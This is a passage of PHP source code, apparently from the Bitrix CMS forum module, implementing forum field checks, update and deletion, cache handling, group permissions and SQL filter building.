if (is_set($arFields, "ACTIVE") || $ACTION=="ADD") $arFields["ACTIVE"] = ($arFields["ACTIVE"] == "Y" ? "Y" : "N");
if (is_set($arFields, "INDEXATION") || $ACTION=="ADD") $arFields["INDEXATION"] = ($arFields["INDEXATION"] == "N" ? "N" : "Y");
if (is_set($arFields, "DEDUPLICATION") || $ACTION=="ADD") $arFields["DEDUPLICATION"] = ($arFields["DEDUPLICATION"] == "N" ? "N" : "Y");
if (is_set($arFields, "MODERATION") || $ACTION=="ADD") $arFields["MODERATION"] = ($arFields["MODERATION"] == "Y" ? "Y" : "N");
if (is_set($arFields, "ALLOW_HTML") || $ACTION=="ADD") $arFields["ALLOW_HTML"] = ($arFields["ALLOW_HTML"] == "Y" ? "Y" : "N");
if (is_set($arFields, "ALLOW_ANCHOR") || $ACTION=="ADD") $arFields["ALLOW_ANCHOR"] = ($arFields["ALLOW_ANCHOR"] == "N" ? "N" : "Y");
if (is_set($arFields, "ALLOW_BIU") || $ACTION=="ADD") $arFields["ALLOW_BIU"] = ($arFields["ALLOW_BIU"] == "N" ? "N" : "Y");
if (is_set($arFields, "ALLOW_IMG") || $ACTION=="ADD") $arFields["ALLOW_IMG"] = ($arFields["ALLOW_IMG"] == "N" ? "N" : "Y");
if (is_set($arFields, "ALLOW_VIDEO") || $ACTION=="ADD") $arFields["ALLOW_VIDEO"] = ($arFields["ALLOW_VIDEO"] == "N" ? "N" : "Y");
if (is_set($arFields, "ALLOW_LIST") || $ACTION=="ADD") $arFields["ALLOW_LIST"] = ($arFields["ALLOW_LIST"] == "N" ? "N" : "Y");
if (is_set($arFields, "ALLOW_QUOTE") || $ACTION=="ADD") $arFields["ALLOW_QUOTE"] = ($arFields["ALLOW_QUOTE"] == "N" ? "N" : "Y");
if (is_set($arFields, "ALLOW_CODE") || $ACTION=="ADD") $arFields["ALLOW_CODE"] = ($arFields["ALLOW_CODE"] == "N" ? "N" : "Y");
if (is_set($arFields, "ALLOW_FONT") || $ACTION=="ADD") $arFields["ALLOW_FONT"] = ($arFields["ALLOW_FONT"] == "N" ? "N" : "Y");
if (is_set($arFields, "ALLOW_TABLE") || $ACTION=="ADD") $arFields["ALLOW_TABLE"] = ($arFields["ALLOW_TABLE"] == "N" ? "N" : "Y");
if (is_set($arFields, "ALLOW_ALIGN") || $ACTION=="ADD") $arFields["ALLOW_ALIGN"] = ($arFields["ALLOW_ALIGN"] == "N" ? "N" : "Y");
if (is_set($arFields, "ALLOW_SMILES") || $ACTION=="ADD") $arFields["ALLOW_SMILES"] = ($arFields["ALLOW_SMILES"] == "N" ? "N" : "Y");
if (is_set($arFields, "ALLOW_UPLOAD") || $ACTION=="ADD") $arFields["ALLOW_UPLOAD"] = (in_array($arFields["ALLOW_UPLOAD"], array("Y", "F", "A")) ? $arFields["ALLOW_UPLOAD"] : "N");
if (is_set($arFields, "ALLOW_NL2BR") || $ACTION=="ADD") $arFields["ALLOW_NL2BR"] = ($arFields["ALLOW_NL2BR"] == "Y" ? "Y" : "N");
if (is_set($arFields, "ALLOW_TOPIC_TITLED") || $ACTION=="ADD") $arFields["ALLOW_TOPIC_TITLED"] = ($arFields["ALLOW_TOPIC_TITLED"] == "Y" ? "Y" : "N");
if (is_set($arFields, "ALLOW_MOVE_TOPIC") || $ACTION=="ADD") $arFields["ALLOW_MOVE_TOPIC"] = ($arFields["ALLOW_MOVE_TOPIC"] == "Y" ? "Y" : "N");
if (is_set($arFields, "ALLOW_SIGNATURE") || $ACTION=="ADD") $arFields["ALLOW_SIGNATURE"] = ($arFields["ALLOW_SIGNATURE"] == "Y" ? "Y" : "N");
if (is_set($arFields, "ASK_GUEST_EMAIL") || $ACTION=="ADD") $arFields["ASK_GUEST_EMAIL"] = ($arFields["ASK_GUEST_EMAIL"] == "Y" ? "Y" : "N");
if (is_set($arFields, "ASK_GUEST_EMAIL") || $ACTION=="ADD") $arFields["ASK_GUEST_EMAIL"] = ($arFields["ASK_GUEST_EMAIL"] == "Y" ? "Y" : "N");
if (is_set($arFields, "LAST_POSTER_NAME") && COption::GetOptionString("forum", "FILTER", "Y") == "Y")
{
$arr = array("LAST_POSTER_NAME" => CFilterUnquotableWords::Filter($arFields["LAST_POSTER_NAME"]));
$arr["LAST_POSTER_NAME"] = (empty($arr["LAST_POSTER_NAME"]) ? "*" : $arr["LAST_POSTER_NAME"]);
$arFields["HTML"] = serialize($arr);
}
return true;
}
public static function Update($ID, $arFields, $bReindex = true)
{
global $DB;
$ID = intVal($ID);
$arForum_prev = array();
$arProcAuth = array();
if ($ID <= 0 || !CForumNew::CheckFields("UPDATE", $arFields))
return false;
if ($arFields["ACTIVE"] == "N")
$arForum_prev = CForumNew::GetByID($ID);
/***************** Event onBeforeForumUpdate ***********************/
foreach (GetModuleEvents("forum", "onBeforeForumUpdate", true) as $arEvent)
{
if (ExecuteModuleEventEx($arEvent, array(&$ID, &$arFields)) === false)
return false;
}
/***************** /Event ******************************************/
if (empty($arFields))
return false;
/***************** Cleaning cache **********************************/
unset($GLOBALS["FORUM_CACHE"]["FORUM"][$ID]);
if(CACHED_b_forum !== false)
$GLOBALS["CACHE_MANAGER"]->CleanDir("b_forum");
if(CACHED_b_forum2site !== false && is_array($arFields["SITES"]) && count($arFields["SITES"]) > 0)
$GLOBALS["CACHE_MANAGER"]->CleanDir("b_forum2site");
/***************** Cleaning cache/**********************************/
$strUpdate = $DB->PrepareUpdate("b_forum", $arFields);
if (!empty($strUpdate))
{
$strSql = "UPDATE b_forum SET ".$strUpdate." WHERE ID=".$ID;
$DB->Query($strSql, false, "File: ".__FILE__."<br>Line: ".__LINE__);
}
if (is_array($arFields["SITES"]) && count($arFields["SITES"]) > 0)
{
$DB->Query("DELETE FROM b_forum2site WHERE FORUM_ID = ".$ID);
foreach ($arFields["SITES"] as $key => $value)
{
$value = $DB->ForSql($value, 250);
$strSql = "INSERT INTO b_forum2site (FORUM_ID, SITE_ID, PATH2FORUM_MESSAGE) VALUES(".$ID.", '".$DB->ForSql($key, 2)."', '".$value."') ";
if ($DB->type == "MYSQL")
$strSql .= "ON DUPLICATE KEY UPDATE PATH2FORUM_MESSAGE='".$value."'";
$DB->Query($strSql, false, "File: ".__FILE__."<br>Line: ".__LINE__);
}
}
if (is_set($arFields, "GROUP_ID") && is_array($arFields["GROUP_ID"]))
CForumNew::SetAccessPermissions($ID, $arFields["GROUP_ID"]);
/***************** Event onAfterForumUpdate ************************/
foreach (GetModuleEvents("forum", "onAfterForumUpdate", true) as $arEvent)
ExecuteModuleEventEx($arEvent, array($ID, $arFields));
/***************** /Event ******************************************/
/***************** Update statistic ********************************/
/* If forum became inactive than all statistics for users of this forum will be recalculated.*/
if ($arFields["ACTIVE"] == "N" && $arForum_prev["ACTIVE"] == "Y")
{
$db_res = CForumMessage::GetList(array(), array("FORUM_ID"=>$ID, "!AUTHOR_ID"=>0));
while ($res = $db_res->Fetch())
{
$res["AUTHOR_ID"] = intVal($res["AUTHOR_ID"]);
if (!in_array($res["AUTHOR_ID"], $arProcAuth))
{
CForumUser::SetStat($res["AUTHOR_ID"]);
$arProcAuth[] = $res["AUTHOR_ID"];
}
}
unset($arProcAuth);
}
/***************** Update search module ****************************/
if (CModule::IncludeModule("search") && $bReindex == true)
{
if ($arFields["ACTIVE"] == "N" && $arForum_prev["ACTIVE"] == "Y" ||
$arFields["INDEXATION"] == "N" && $arForum_prev["INDEXATION"] == "Y")
{
CSearch::DeleteIndex("forum", false, $ID);
}
elseif (is_set($arFields, "GROUP_ID") && is_array($arFields["GROUP_ID"]))
{
$arGroups = CForumNew::GetAccessPermissions($ID);
$arGPerm = Array();
foreach ($arGroups as $i => $group)
{
if ($group[1] >= "E")
{
$arGPerm[] = $group[0];
if ($group[0] == 2)
break;
}
}
CSearch::ChangePermission("forum", $arGPerm, false, $ID);
}
}
return $ID;
}
public static function Delete($ID)
{
global $DB;
$ID = intVal($ID);
$bCanDelete = true;
/***************** Event OnBeforeForumDelete ***********************/
foreach (GetModuleEvents("forum", "OnBeforeForumDelete", true) as $arEvent)
{
if (ExecuteModuleEventEx($arEvent, array(&$ID)) === false)
{
$bCanDelete = false;
break;
}
}
/***************** /Event ******************************************/
if (!$bCanDelete)
return false;
/***************** Event OnForumDelete *****************************/
foreach (GetModuleEvents("forum", "OnForumDelete", true) as $arEvent)
ExecuteModuleEventEx($arEvent, array(&$ID));
/***************** /Event ******************************************/
/***************** Cleaning cache **********************************/
unset($GLOBALS["FORUM_CACHE"]["FORUM"][$ID]);
if(CACHED_b_forum !== false)
$GLOBALS["CACHE_MANAGER"]->CleanDir("b_forum");
if(CACHED_b_forum_perms !== false)
$GLOBALS["CACHE_MANAGER"]->CleanDir("b_forum_perms");
if(CACHED_b_forum2site !== false)
$GLOBALS["CACHE_MANAGER"]->CleanDir("b_forum2site");
/***************** Cleaning cache/**********************************/
/***************** Search module ***********************************/
set_time_limit(0);
if (CModule::IncludeModule("search"))
{
CSearch::DeleteIndex("forum", false, $ID);
}
CForumFiles::Delete(array("FORUM_ID" => $ID), array("DELETE_FORUM_FILE" => "Y"));
$DB->StartTransaction();
// Update USER statistic
$arProcAuth = array();
$db_res = CForumMessage::GetList(array(), array("FORUM_ID"=>$ID, "!AUTHOR_ID"=>0));
while ($res = $db_res->Fetch())
{
$res["AUTHOR_ID"] = intVal($res["AUTHOR_ID"]);
if (!in_array($res["AUTHOR_ID"], $arProcAuth))
{
$arProcAuth[] = intVal($res["AUTHOR_ID"]);
}
}
if (IsModuleInstalled("vote"))
{
$db_res = CForumMessage::GetList(array(), array("FORUM_ID"=>$ID, "PARAM1" => "VT", "!PARAM2" => 0));
if ($db_res && $res = $db_res->Fetch()):
CModule::IncludeModule("vote");
do {
CVote::Delete($res["PARAM2"]);
} while ($res = $db_res->Fetch());
endif;
}
if (!$DB->Query("DELETE FROM b_forum_subscribe WHERE FORUM_ID=".$ID, true))
{
$DB->Rollback();
return false;
}
if (!$DB->Query("DELETE FROM b_forum_message WHERE FORUM_ID=".$ID, true))
{
$DB->Rollback();
return false;
}
if (!$DB->Query("DELETE FROM b_forum_topic WHERE FORUM_ID=".$ID, true))
{
$DB->Rollback();
return false;
}
if (!$DB->Query("DELETE FROM b_forum_perms WHERE FORUM_ID=".$ID, true))
{
$DB->Rollback();
return false;
}
if (!$DB->Query("DELETE FROM b_forum2site WHERE FORUM_ID=".$ID, true))
{
$DB->Rollback();
return false;
}
if (!$DB->Query("DELETE FROM b_forum WHERE ID=".$ID, true))
{
$DB->Rollback();
return false;
}
// Update USER statistic
foreach($arProcAuth as $i => $procAuth)
CForumUser::SetStat($procAuth);
$DB->Commit();
/***************** Event OnAfterForumDelete ************************/
foreach (GetModuleEvents("forum", "OnAfterForumDelete", true) as $arEvent)
ExecuteModuleEventEx($arEvent, array($ID));
/***************** /Event ******************************************/
return true;
}
//---------------> Array of sites (langs) where forum is available
public static function GetSites($ID)
{
global $DB, $CACHE_MANAGER;
$ID = intVal($ID);
$cache_id = "b_forum2site_".$ID;
if ($ID <= 0):
return false;
elseif (!is_array($GLOBALS["FORUM_CACHE"]["FORUM"][$ID])):
$GLOBALS["FORUM_CACHE"]["FORUM"][$ID] = array();
endif;
if (!array_key_exists("SITES", $GLOBALS["FORUM_CACHE"]["FORUM"][$ID]))
{
if (CACHED_b_forum2site !== false && $CACHE_MANAGER->Read(CACHED_b_forum2site, $cache_id, "b_forum2site"))
{
$GLOBALS["FORUM_CACHE"]["FORUM"][$ID]["SITES"] = $CACHE_MANAGER->Get($cache_id);
}
else
{
$strSql = "SELECT FS.FORUM_ID, FS.SITE_ID, FS.PATH2FORUM_MESSAGE FROM b_forum2site FS WHERE FS.FORUM_ID = ".$ID;
$db_res = $DB->Query($strSql, false, "File: ".__FILE__."<br>Line: ".__LINE__);
$arRes = array();
while ($res = $db_res->Fetch())
$arRes[$res["SITE_ID"]] = $res["PATH2FORUM_MESSAGE"];
$GLOBALS["FORUM_CACHE"]["FORUM"][$ID]["SITES"] = $arRes;
if (CACHED_b_forum2site !== false)
$CACHE_MANAGER->Set($cache_id, $GLOBALS["FORUM_CACHE"]["FORUM"][$ID]["SITES"]);
}
}
return $GLOBALS["FORUM_CACHE"]["FORUM"][$ID]["SITES"];
}
//---------------> Forum permissions
public static function GetPermissionUserDefault($ID)
{
$arFields = array(2);
if (COption::GetOptionString("main", "new_user_registration", "") == "Y")
{
$def_group = COption::GetOptionString("main", "new_user_registration_def_group", "");
if($def_group != "")
{
$arFields = explode(",", $def_group);
$arFields[] = 2;
}
}
$res = CForumNew::GetUserPermission($ID, $arFields);
if ($res >= "E")
return "E";
else
return "A";
}
public static function GetAccessPermissions($ID, $TYPE = "ONE")
{
global $CACHE_MANAGER;
$ID = intVal($ID);
$TYPE = ($TYPE == "ONE" ? "ONE" : "ALL");
$cache_id = "b_forum_perms_".$ID."_all";
$arRes = array();
if ($ID <= 0):
return false;
elseif (!is_array($GLOBALS["FORUM_CACHE"]["FORUM"][$ID])):
$GLOBALS["FORUM_CACHE"]["FORUM"][$ID] = array();
endif;
if (!array_key_exists("PERMISSIONS", $GLOBALS["FORUM_CACHE"]["FORUM"][$ID]))
{
if (CACHED_b_forum_perms !== false && $CACHE_MANAGER->Read(CACHED_b_forum_perms, $cache_id, "b_forum_perms"))
{
$GLOBALS["FORUM_CACHE"]["FORUM"][$ID]["PERMISSIONS"] = $CACHE_MANAGER->Get($cache_id);
}
else
{
$db_res = CForumNew::GetAccessPermsList(array(), array("FORUM_ID" => $ID));
while ($res = $db_res->Fetch()):
$arRes[$res["GROUP_ID"]] = $res["PERMISSION"];
endwhile;
$GLOBALS["FORUM_CACHE"]["FORUM"][$ID]["PERMISSIONS"] = $arRes;
if (CACHED_b_forum_perms !== false)
$CACHE_MANAGER->Set($cache_id, $GLOBALS["FORUM_CACHE"]["FORUM"][$ID]["PERMISSIONS"]);
}
}
$result = $GLOBALS["FORUM_CACHE"]["FORUM"][$ID]["PERMISSIONS"];
if ($TYPE == "ONE"):
$result = array();
foreach ($GLOBALS["FORUM_CACHE"]["FORUM"][$ID]["PERMISSIONS"] as $key => $val):
$result[] = array($key, $val);
endforeach;
endif;
return $result;
}
public static function GetAccessPermsList($arOrder = array("ID"=>"ASC"), $arFilter = array())
{
global $DB;
$arSqlSearch = array();
$strSqlSearch = "";
$arSqlOrder = array();
$strSqlOrder = "";
$arFilter = (is_array($arFilter) ? $arFilter : array());
foreach ($arFilter as $key => $val)
{
$key_res = CForumNew::GetFilterOperation($key);
$key = strtoupper($key_res["FIELD"]);
$strNegative = $key_res["NEGATIVE"];
$strOperation = $key_res["OPERATION"];
switch ($key)
{
case "ID":
case "FORUM_ID":
case "GROUP_ID":
if (intVal($val)<=0)
$arSqlSearch[] = ($strNegative=="Y"?"NOT":"")."(FP.".$key." IS NULL OR FP.".$key."<=0)";
else
$arSqlSearch[] = ($strNegative=="Y"?" FP.".$key." IS NULL OR NOT ":"")."FP.".$key." ".$strOperation." ".intVal($val)." ";
break;
case "PERMISSION":
if (strlen($val)<=0)
$arSqlSearch[] = ($strNegative=="Y"?"NOT":"")."(FP.".$key." IS NULL OR ".($DB->type == "MSSQL" ? "LEN" : "LENGTH")."(FP.".$key.")<=0)";
else
$arSqlSearch[] = ($strNegative=="Y"?" FP.".$key." IS NULL OR NOT ":"")."FP.".$key." ".$strOperation." '".$DB->ForSql($val)."' ";
break;
}
}
if (count($arSqlSearch) > 0)
$strSqlSearch = " AND (".implode(" AND ", $arSqlSearch).") ";
foreach ($arOrder as $by=>$order)
{
$by = strtoupper($by); $order = strtoupper($order);
if ($order!="ASC") $order = "DESC";
if ($by == "FORUM_ID") $arSqlOrder[] = " FP.FORUM_ID ".$order." ";
elseif ($by == "GROUP_ID") $arSqlOrder[] = " FP.GROUP_ID ".$order." ";
elseif ($by == "PERMISSION") $arSqlOrder[] = " FP.PERMISSION ".$order." ";
else
{
$arSqlOrder[] = " FP.ID ".$order." ";
$by = "ID";
}
}
DelDuplicateSort($arSqlOrder);
if (count($arSqlOrder) > 0)
$strSqlOrder = " ORDER BY ".implode(", ", $arSqlOrder);
$strSql =
"SELECT FP.ID, FP.FORUM_ID, FP.GROUP_ID, FP.PERMISSION
FROM b_forum_perms FP
WHERE 1 = 1
".$strSqlSearch."
".$strSqlOrder;
$db_res = $DB->Query($strSql, false, "File: ".__FILE__."<br>Line: ".__LINE__);
return $db_res;
}
public static function SetAccessPermissions($ID, $arGROUP_ID)
{
global $DB, $CACHE_MANAGER, $aForumPermissions;
$ID = intVal($ID);
$arGROUP_ID = (is_array($arGROUP_ID) ? $arGROUP_ID : array());
$arGroups = array();
if ($ID <= 0 || empty($arGROUP_ID)):
return false;
endif;
/***************** Cleaning cache **********************************/
unset($GLOBALS["FORUM_CACHE"]["FORUM"][$ID]["PERMISSION"]);
unset($GLOBALS["FORUM_CACHE"]["FORUM"][$ID]["PERMISSIONS"]);
if (CACHED_b_forum_perms !== false)
$GLOBALS["CACHE_MANAGER"]->CleanDir("b_forum_perms");
/***************** Cleaning cache/**********************************/
$db_res = CGroup::GetList($by = "ID", $order = "ASC");
if ($db_res && $res = $db_res->Fetch())
{
do
{
$arGroups[] = intVal($res["ID"]);
} while ($res = $db_res->Fetch());
$DB->Query("DELETE FROM b_forum_perms WHERE FORUM_ID=".$ID, false, "File: ".__FILE__."<br>Line: ".__LINE__);
foreach ($arGROUP_ID as $key => $val)
{
$key = intVal($key); $val = strToUpper($val);
if ($key <= 1 || !in_array($val, $aForumPermissions["reference_id"]) || !in_array($key, $arGroups)):
continue;
endif;
$arFields = array(
"FORUM_ID" => $ID,
"GROUP_ID" => $key,
"PERMISSION" => "'".$val."'");
$DB->Insert("b_forum_perms", $arFields, "File: ".__FILE__."<br>Line: ".__LINE__);
}
}
return true;
}
public static function GetUserPermission($ID, $arUserGroups)
{
global $DB, $CACHE_MANAGER, $aForumPermissions;
$ID = intVal($ID);
if (is_integer($arUserGroups) || is_null($arUserGroups))
{
global $USER;
$arUserGroups = ($USER->getId() == $arUserGroups ? $USER->GetUserGroupArray() : CUser::GetUserGroup($arUserGroups));
}
$arUserGroups = (!is_array($arUserGroups) ? array($arUserGroups) : $arUserGroups);
sort($arUserGroups);
$key = $ID."_".implode("_", $arUserGroups);
$cache_id = "b_forum_perms".$key;
if ($ID <= 0 || empty($arUserGroups)):
return $aForumPermissions["reference_id"][0];
elseif (CForumUser::IsAdmin(false, $arUserGroups)):
return $aForumPermissions["reference_id"][count($aForumPermissions["reference_id"])-1];
elseif (!is_array($GLOBALS["FORUM_CACHE"]["FORUM"][$ID])):
$GLOBALS["FORUM_CACHE"]["FORUM"][$ID] = array("PERMISSION" => array());
elseif (!array_key_exists("PERMISSION", $GLOBALS["FORUM_CACHE"]["FORUM"][$ID])):
$GLOBALS["FORUM_CACHE"]["FORUM"][$ID]["PERMISSION"] = array();
endif;
if (!array_key_exists($key, $GLOBALS["FORUM_CACHE"]["FORUM"][$ID]["PERMISSION"]))
{
if (CACHED_b_forum_perms !== false && $CACHE_MANAGER->Read(CACHED_b_forum_perms, $cache_id, "b_forum_perms"))
{
$GLOBALS["FORUM_CACHE"]["FORUM"][$ID]["PERMISSION"][$key] = $CACHE_MANAGER->Get($cache_id);
}
else
{
$strSql = "SELECT MAX(FP.PERMISSION) as P FROM b_forum_perms FP ".
"WHERE FP.FORUM_ID=".$ID." AND FP.GROUP_ID IN (".(implode(",", $arUserGroups) ?: 2).")";
$res = $DB->Query($strSql, false, "File: ".__FILE__."<br>Line: ".__LINE__);
if ($r = $res->Fetch())
$GLOBALS["FORUM_CACHE"]["FORUM"][$ID]["PERMISSION"][$key] = $r["P"];
}
if (!in_array($GLOBALS["FORUM_CACHE"]["FORUM"][$ID]["PERMISSION"][$key], $aForumPermissions["reference_id"]))
{
$GLOBALS["FORUM_CACHE"]["FORUM"][$ID]["PERMISSION"][$key] = $aForumPermissions["reference_id"][0];
}
if (CACHED_b_forum_perms !== false)
$CACHE_MANAGER->Set($cache_id, $GLOBALS["FORUM_CACHE"]["FORUM"][$ID]["PERMISSION"][$key]);
}
return $GLOBALS["FORUM_CACHE"]["FORUM"][$ID]["PERMISSION"][$key];
}
//---------------> Forum Utils
public static function GetFilterOperation($key)
{
$strNegative = "N";
if (substr($key, 0, 1)=="!")
{
$key = substr($key, 1);
$strNegative = "Y";
}
if (substr($key, 0, 2)==">=")
{
$key = substr($key, 2);
$strOperation = ">=";
}
elseif (substr($key, 0, 1)==">")
{
$key = substr($key, 1);
$strOperation = ">";
}
elseif (substr($key, 0, 2)=="<=")
{
$key = substr($key, 2);
$strOperation = "<=";
}
elseif (substr($key, 0, 1)=="<")
{
$key = substr($key, 1);
$strOperation = "<";
}
elseif (substr($key, 0, 1)=="@")
{
$key = substr($key, 1);
$strOperation = "IN";
}
elseif (substr($key, 0, 1)=="%")
{
$key = substr($key, 1);
$strOperation = "LIKE";
}
else
{
$strOperation = "=";
}
return array("FIELD"=>$key, "NEGATIVE"=>$strNegative, "OPERATION"=>$strOperation);
}
public static function prepareField($operation, $type, $vals)
{
$val = '';
if ($operation == "IN")
{
if (is_string($vals))
$vals = explode(",", $vals);
else if (!is_array($vals))
$vals = array($vals);
if ($type == "int")
{
array_walk($vals, create_function("&\$item", "\$item=intval(\$item);"));
$vals = array_unique($vals);
$val = implode(",", $vals);
}
elseif ($type == "double")
{
array_walk($vals, create_function("&\$item", "\$item=doubleval(\$item);"));
$vals = array_unique($vals);
$val = implode(",", $vals);
}
elseif ($type == "datetime")
{
array_walk($vals, create_function("&\$item", "\$item=\"'\".\$GLOBALS[\"DB\"]->CharToDateFunction(\$GLOBALS[\"DB\"]->ForSql(\$item), \"FULL\").\"'\";"));
$vals = array_unique($vals);
$val = implode(",", $vals);
}
elseif ($type == "date")
{
array_walk($vals, create_function("&\$item", "\$item=\"'\".\$GLOBALS[\"DB\"]->CharToDateFunction(\$GLOBALS[\"DB\"]->ForSql(\$item), \"SHORT\").\"'\";"));
$vals = array_unique($vals);
$val = implode(",", $vals);
}
else
{
array_walk($vals, create_function("&\$item", "\$item=\"'\".\$GLOBALS[\"DB\"]->ForSql(\$item).\"'\";"));
$vals = array_unique($vals);
$val = implode(",", $vals);
}
}
else if ($type === "int")
{
$val = intval($vals);
$val = ($val > 0 ? $val : '');
}
elseif ($type === "double")
{
$val = doubleval(str_replace(",", ".", $vals));
$val = ($val > 0 ? $val : '');
}
elseif ($type === "datetime")
{
$val = $GLOBALS["DB"]->CharToDateFunction($GLOBALS["DB"]->ForSql($vals), "FULL");
}
elseif ($type === "date")
{
$val = $GLOBALS["DB"]->CharToDateFunction($GLOBALS["DB"]->ForSql($vals), "SHORT");
}
else if ($type == "string" || $type == "char")
{
$val = $GLOBALS["DB"]->ForSql($vals);
}
return $val;
}
public static function GetSelectFields($arAddParams = array())
{
global $DB;
$arAddParams = (is_array($arAddParams) ? $arAddParams : array());
$arAddParams["sPrefix"] = $DB->ForSql(empty($arAddParams["sPrefix"]) ? "F." : $arAddParams["sPrefix"]);
$arAddParams["sTablePrefix"] = $DB->ForSql(empty($arAddParams["sTablePrefix"]) ? "F." : $arAddParams["sTablePrefix"]);
$arAddParams["sReturnResult"] = ($arAddParams["sReturnResult"] == "string" ? "string" : "array");
$res = array(
$arAddParams["sPrefix"]."ID" => $arAddParams["sTablePrefix"]."ID",
$arAddParams["sPrefix"]."NAME" => $arAddParams["sTablePrefix"]."NAME",
$arAddParams["sPrefix"]."DESCRIPTION" => $arAddParams["sTablePrefix"]."DESCRIPTION",
$arAddParams["sPrefix"]."SORT" => $arAddParams["sTablePrefix"]."SORT",
$arAddParams["sPrefix"]."ACTIVE" => $arAddParams["sTablePrefix"]."ACTIVE",
$arAddParams["sPrefix"]."MODERATION" => $arAddParams["sTablePrefix"]."MODERATION",
$arAddParams["sPrefix"]."DEDUPLICATION" => $arAddParams["sTablePrefix"]."DEDUPLICATION",
$arAddParams["sPrefix"]."INDEXATION" => $arAddParams["sTablePrefix"]."INDEXATION",
$arAddParams["sPrefix"]."ALLOW_MOVE_TOPIC" => $arAddParams["sTablePrefix"]."ALLOW_MOVE_TOPIC",
$arAddParams["sPrefix"]."TOPICS" => $arAddParams["sTablePrefix"]."TOPICS",
$arAddParams["sPrefix"]."POSTS" => $arAddParams["sTablePrefix"]."POSTS",
$arAddParams["sPrefix"]."LAST_POSTER_ID" => $arAddParams["sTablePrefix"]."LAST_POSTER_ID",
$arAddParams["sPrefix"]."LAST_POSTER_NAME" => $arAddParams["sTablePrefix"]."LAST_POSTER_NAME",
($arAddParams["sPrefix"] == $arAddParams["sTablePrefix"] ? "" : $arAddParams["sPrefix"]).
"LAST_POST_DATE" => $DB->DateToCharFunction($arAddParams["sTablePrefix"]."LAST_POST_DATE", "FULL"),
$arAddParams["sPrefix"]."LAST_MESSAGE_ID" => $arAddParams["sTablePrefix"]."LAST_MESSAGE_ID",
($arAddParams["sPrefix"] == $arAddParams["sTablePrefix"] ? "" : $arAddParams["sPrefix"]).
"MID" => $arAddParams["sTablePrefix"]."LAST_MESSAGE_ID ",
$arAddParams["sPrefix"]."LAST_MESSAGE_ID" => $arAddParams["sTablePrefix"]."LAST_MESSAGE_ID",
$arAddParams["sPrefix"]."POSTS_UNAPPROVED" => $arAddParams["sTablePrefix"]."POSTS_UNAPPROVED",
$arAddParams["sPrefix"]."ABS_LAST_POSTER_ID" => $arAddParams["sTablePrefix"]."ABS_LAST_POSTER_ID",
$arAddParams["sPrefix"]."ABS_LAST_POSTER_NAME" => $arAddParams["sTablePrefix"]."ABS_LAST_POSTER_NAME",
($arAddParams["sPrefix"] == $arAddParams["sTablePrefix"] ? "" : $arAddParams["sPrefix"]).
"ABS_LAST_POST_DATE" => $DB->DateToCharFunction($arAddParams["sTablePrefix"]."ABS_LAST_POST_DATE", "FULL"),
$arAddParams["sPrefix"]."ABS_LAST_MESSAGE_ID" => $arAddParams["sTablePrefix"]."ABS_LAST_MESSAGE_ID",
$arAddParams["sPrefix"]."ORDER_BY" => $arAddParams["sTablePrefix"]."ORDER_BY",
$arAddParams["sPrefix"]."ORDER_DIRECTION" => $arAddParams["sTablePrefix"]."ORDER_DIRECTION",
$arAddParams["sPrefix"]."ALLOW_HTML" => $arAddParams["sTablePrefix"]."ALLOW_HTML",
$arAddParams["sPrefix"]."ALLOW_ANCHOR" => $arAddParams["sTablePrefix"]."ALLOW_ANCHOR",
$arAddParams["sPrefix"]."ALLOW_BIU" => $arAddParams["sTablePrefix"]."ALLOW_BIU",
$arAddParams["sPrefix"]."ALLOW_IMG" => $arAddParams["sTablePrefix"]."ALLOW_IMG",
$arAddParams["sPrefix"]."ALLOW_VIDEO" => $arAddParams["sTablePrefix"]."ALLOW_VIDEO",
$arAddParams["sPrefix"]."ALLOW_LIST" => $arAddParams["sTablePrefix"]."ALLOW_LIST",
$arAddParams["sPrefix"]."ALLOW_TABLE" => $arAddParams["sTablePrefix"]."ALLOW_TABLE",
$arAddParams["sPrefix"]."ALLOW_ALIGN" => $arAddParams["sTablePrefix"]."ALLOW_ALIGN",
$arAddParams["sPrefix"]."ALLOW_QUOTE" => $arAddParams["sTablePrefix"]."ALLOW_QUOTE",
$arAddParams["sPrefix"]."ALLOW_CODE" => $arAddParams["sTablePrefix"]."ALLOW_CODE",
$arAddParams["sPrefix"]."ALLOW_FONT" => $arAddParams["sTablePrefix"]."ALLOW_FONT",
$arAddParams["sPrefix"]."ALLOW_SMILES" => $arAddParams["sTablePrefix"]."ALLOW_SMILES",
$arAddParams["sPrefix"]."ALLOW_UPLOAD" => $arAddParams["sTablePrefix"]."ALLOW_UPLOAD",
$arAddParams["sPrefix"]."ALLOW_TOPIC_TITLED" => $arAddParams["sTablePrefix"]."ALLOW_TOPIC_TITLED",
$arAddParams["sPrefix"]."ALLOW_SIGNATURE" => $arAddParams["sTablePrefix"]."ALLOW_SIGNATURE",
$arAddParams["sPrefix"]."EVENT1" => $arAddParams["sTablePrefix"]."EVENT1",
$arAddParams["sPrefix"]."EVENT2" => $arAddParams["sTablePrefix"]."EVENT2",
$arAddParams["sPrefix"]."EVENT3" => $arAddParams["sTablePrefix"]."EVENT3",
$arAddParams["sPrefix"]."ALLOW_NL2BR" => $arAddParams["sTablePrefix"]."ALLOW_NL2BR",
$arAddParams["sPrefix"]."ALLOW_UPLOAD_EXT" => $arAddParams["sTablePrefix"]."ALLOW_UPLOAD_EXT",
$arAddParams["sPrefix"]."FORUM_GROUP_ID" => $arAddParams["sTablePrefix"]."FORUM_GROUP_ID",
$arAddParams["sPrefix"]."ASK_GUEST_EMAIL" => $arAddParams["sTablePrefix"]."ASK_GUEST_EMAIL",
$arAddParams["sPrefix"]."USE_CAPTCHA" => $arAddParams["sTablePrefix"]."USE_CAPTCHA",
$arAddParams["sPrefix"]."HTML" => $arAddParams["sTablePrefix"]."HTML");
if ($arAddParams["sReturnResult"] == "string")
{
$arRes = array();
foreach ($res as $key => $val)
{
$arRes[] = $val.($key != $val ? " AS ".$key : "");
}
$res = implode(", ", $arRes);
}
return $res;
}
//---------------> Forum list
public static function GetList($arOrder = Array("SORT"=>"ASC"), $arFilter = Array(), $arAddParams = array())
{
global $DB;
$arSqlSearch = Array();
$arSqlSearchFrom = Array();
$strSqlSelect = "";
$strSqlSearchFrom = "";
$strSqlSearch = "";
$arSqlOrder = Array();
$strSqlOrder = "";
$arFilter = (is_array($arFilter) ? $arFilter : array());
foreach ($arFilter as $key => $val)
{
$key_res = CForumNew::GetFilterOperation($key);
$key = strtoupper($key_res["FIELD"]);
$strNegative = $key_res["NEGATIVE"];
$strOperation = $key_res["OPERATION"];
switch ($key)
{
case "LID":
case "SITE_ID":
$val = trim($val);
if (strlen($val)>0)
{
